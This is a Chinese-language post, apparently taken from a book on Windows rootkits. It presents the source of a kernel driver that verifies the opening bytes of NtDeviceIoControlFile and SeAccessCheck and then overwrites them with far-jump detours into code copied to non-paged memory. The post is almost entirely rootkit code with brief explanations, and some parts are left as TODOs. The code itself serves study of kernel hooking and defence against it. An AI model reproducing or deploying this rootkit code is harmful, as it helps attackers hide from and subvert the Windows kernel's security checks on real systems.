本文和代码来自rootkit——windows内核的安全防护
下面展示一个rootkit示例,可以解释对内核函数的detour补丁
1 #include "ntddk.h" 2 3 NTSYSAPI 4 NTSTATUS 5 NTAPI 6 NtDeviceIoControlFile( 7 IN HANDLE hFile, 8 IN HANDLE hEvent OPTIONAL, 9 IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, 10 IN PVOID IoApcContext OPTIONAL, 11 OUT PIO_STATUS_BLOCK pIoStatusBlock, 12 IN ULONG DeviceIoControlCode, 13 IN PVOID InBuffer OPTIONAL, 14 IN ULONG InBufferLength, 15 OUT PVOID OutBuffer OPTIONAL, 16 IN ULONG OutBufferLength 17 ); 18 19 NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath ) 20 { 21 DbgPrint("My Driver Loaded!"); 22 23 // TODO!! theDriverObject->DriverUnload = OnUnload; 24 25 if(STATUS_SUCCESS != CheckFunctionBytesNtDeviceIoControlFile()) 26 { 27 DbgPrint("Match Failure on NtDeviceIoControlFile!"); 28 return STATUS_UNSUCCESSFUL; 29 } 30 31 if(STATUS_SUCCESS != CheckFunctionBytesSeAccessCheck()) 32 { 33 DbgPrint("Match Failure on SeAccessCheck!"); 34 return STATUS_UNSUCCESSFUL; 35 } 36 37 DetourFunctionNtDeviceIoControlFile(); 38 DetourFunctionSeAccessCheck(); 39 40 return STATUS_SUCCESS; 41 }
检查NtDeviceIoControlFile是否已经被detour了
1 NTSTATUS CheckFunctionBytesNtDeviceIoControlFile() 2 { 3 int i=0; 4 char *p = (char *)NtDeviceIoControlFile; 5 6 //The beginning of the NtDeviceIoControlFile function 7 //should match: 8 //55 PUSH EBP 9 //8BEC MOV EBP, ESP 10 //6A01 PUSH 01 11 //FF752C PUSH DWORD PTR [EBP + 2C] 12 13 char c[] = { 0x55, 0x8B, 0xEC, 0x6A, 0x01, 0xFF, 0x75, 0x2C }; 14 15 while(i<8) 16 { 17 DbgPrint(" - 0x%02X ", (unsigned char)p[i]); 18 if(p[i] != c[i]) 19 { 20 return STATUS_UNSUCCESSFUL; 21 } 22 i++; 23 } 24 return STATUS_SUCCESS; 25 }
这个也同理
1 NTSTATUS CheckFunctionBytesSeAccessCheck() 2 { 3 int i=0; 4 char *p = (char *)SeAccessCheck; 5 6 //The beginning of the SeAccessCheck function 7 //should match: 8 //55 PUSH EBP 9 //8BEC MOV EBP, ESP 10 //53 PUSH EBX 11 //33DB XOR EBX, EBX 12 //385D24 CMP [EBP+24], BL 13 char c[] = { 0x55, 0x8B, 0xEC, 0x53, 0x33, 0xDB, 0x38, 0x5D, 0x24 }; 14 15 while(i<9) 16 { 17 DbgPrint(" - 0x%02X ", (unsigned char)p[i]); 18 if(p[i] != c[i]) 19 { 20 return STATUS_UNSUCCESSFUL; 21 } 22 i++; 23 } 24 return STATUS_SUCCESS; 25 }
1 VOID DetourFunctionSeAccessCheck() 2 { 3 char *actual_function = (char *)SeAccessCheck; 4 char *non_paged_memory; 5 unsigned long detour_address; 6 unsigned long reentry_address; 7 int i = 0; 8 9 // assembles to jmp far 0008:11223344 where 11223344 is address of 10 // our detour function, plus two NOP's to align up the patch 11 char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90, 0x90 }; 12 13 // reenter the hooked function at a location past the overwritten opcodes 14 // alignment is, of course, very important here 15 reentry_address = ((unsigned long)SeAccessCheck) + 9; 16 17 non_paged_memory = ExAllocatePool(NonPagedPool, 256); 18 19 // copy contents of our function into non paged memory 20 // with a cap at 256 bytes (beware of possible read off end of page FIXME) 21 for(i=0;i<256;i++) 22 { 23 ((unsigned char *)non_paged_memory)[i] = ((unsigned char *)my_function_detour_seaccesscheck)[i]; 24 } 25 26 detour_address = (unsigned long)non_paged_memory; 27 28 // stamp in the target address of the far jmp 29 *( (unsigned long *)(&newcode[1]) ) = detour_address; 30 31 // now, stamp in the return jmp into our detour 32 // function 33 for(i=0;i<200;i++) 34 { 35 if( (0xAA == ((unsigned char *)non_paged_memory)[i]) && 36 (0xAA == ((unsigned char *)non_paged_memory)[i+1]) && 37 (0xAA == ((unsigned char *)non_paged_memory)[i+2]) && 38 (0xAA == ((unsigned char *)non_paged_memory)[i+3])) 39 { 40 // we found the address 0xAAAAAAAA 41 // stamp it w/ the correct address 42 *( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address; 43 break; 44 } 45 } 46 47 //TODO, raise IRQL 48 49 //overwrite the bytes in the kernel function 50 //to apply the detour jmp 51 for(i=0;i < 9;i++) 52 { 53 actual_function[i] = newcode[i]; 54 } 55 56 //TODO, drop IRQL 57 } 58 59 VOID DetourFunctionNtDeviceIoControlFile() 60 { 61 char *actual_function = (char *)NtDeviceIoControlFile; 62 char *non_paged_memory; 63 unsigned long detour_address; 64 unsigned long reentry_address; 65 int i = 0; 66 67 // assembles to jmp far 0008:11223344 where 11223344 is address of 68 // our detour function, plus one NOP to align up the patch 69 char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90 }; 70 71 // reenter the hooked function at a location past the overwritten opcodes 72 // alignment is, of course, very important here 73 reentry_address = ((unsigned long)NtDeviceIoControlFile) + 8; 74 75 non_paged_memory = ExAllocatePool(NonPagedPool, 256); 76 77 // copy contents of our function into non paged memory 78 // with a cap at 256 bytes (beware of possible read off end of page FIXME) 79 for(i=0;i<256;i++) 80 { 81 ((unsigned char *)non_paged_memory)[i] = ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]; 82 } 83 84 detour_address = (unsigned long)non_paged_memory; 85 86 // stamp in the target address of the far jmp 87 *( (unsigned long *)(&newcode[1]) ) = detour_address; 88 89 // now, stamp in the return jmp into our detour 90 // function 91 for(i=0;i<200;i++) 92 { 93 if( (0xAA == ((unsigned char *)non_paged_memory)[i]) && 94 (0xAA == ((unsigned char *)non_paged_memory)[i+1]) && 95 (0xAA == ((unsigned char *)non_paged_memory)[i+2]) && 96 (0xAA == ((unsigned char *)non_paged_memory)[i+3])) 97 { 98 // we found the address 0xAAAAAAAA 99 // stamp it w/ the correct address 100 *( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address; 101 break; 102 } 103 } 104 105 //TODO, raise IRQL 106 107 //overwrite the bytes in the kernel function 108 //to apply the detour jmp 109 for(i=0;i < 8;i++) 110 { 111 actual_function[i] = newcode[i]; 112 } 113 114 //TODO, drop IRQL 115 } 116 117 VOID UnDetourFunction() 118 { 119 //TODO! 120 } 121 122 VOID OnUnload( IN PDRIVER_OBJECT DriverObject ) 123 { 124 DbgPrint("My Driver Unloaded!"); 125 126 UnDetourFunction(); 127 }
使用(naked)是强制编译器使该函数体内部只有这些指令
1 // naked functions have no prolog/epilog code - they are functionally like the 2 // target of a goto statement 3 __declspec(naked) my_function_detour_seaccesscheck() 4 { 5 __asm 6 { 7 // exec missing instructions 8 push ebp 9 mov ebp, esp 10 push ebx 11 xor ebx, ebx 12 cmp [ebp+24], bl 13 14 // jump to re-entry location in hooked function 15 // this gets 'stamped' with the correct address 16 // at runtime. 17 // 18 // we need to hard-code a far jmp, but the assembler 19 // that comes with the DDK will not poop this out 20 // for us, so we code it manually 21 // jmp FAR 0x08:0xAAAAAAAA 22 _emit 0xEA 23 _emit 0xAA 24 _emit 0xAA 25 _emit 0xAA 26 _emit 0xAA 27 _emit 0x08 28 _emit 0x00 29 } 30 } 31 32 // We read this function into non-paged memory 33 // before we place the detour. It seems that the 34 // driver code gets paged now and then, which is bad 35 // for children and other living things. 36 __declspec(naked) my_function_detour_ntdeviceiocontrolfile() 37 { 38 __asm 39 { 40 // exec missing instructions 41 push ebp 42 mov ebp, esp 43 push 0x01 44 push dword ptr [ebp+0x2C] 45 46 // jump to re-entry location in hooked function 47 // this gets 'stamped' with the correct address 48 // at runtime. 49 // 50 // we need to hard-code a far jmp, but the assembler 51 // that comes with the DDK will not poop this out 52 // for us, so we code it manually 53 // jmp FAR 0x08:0xAAAAAAAA 54 _emit 0xEA 55 _emit 0xAA 56 _emit 0xAA 57 _emit 0xAA 58 _emit 0xAA 59 _emit 0x08 60 _emit 0x00 61 } 62 }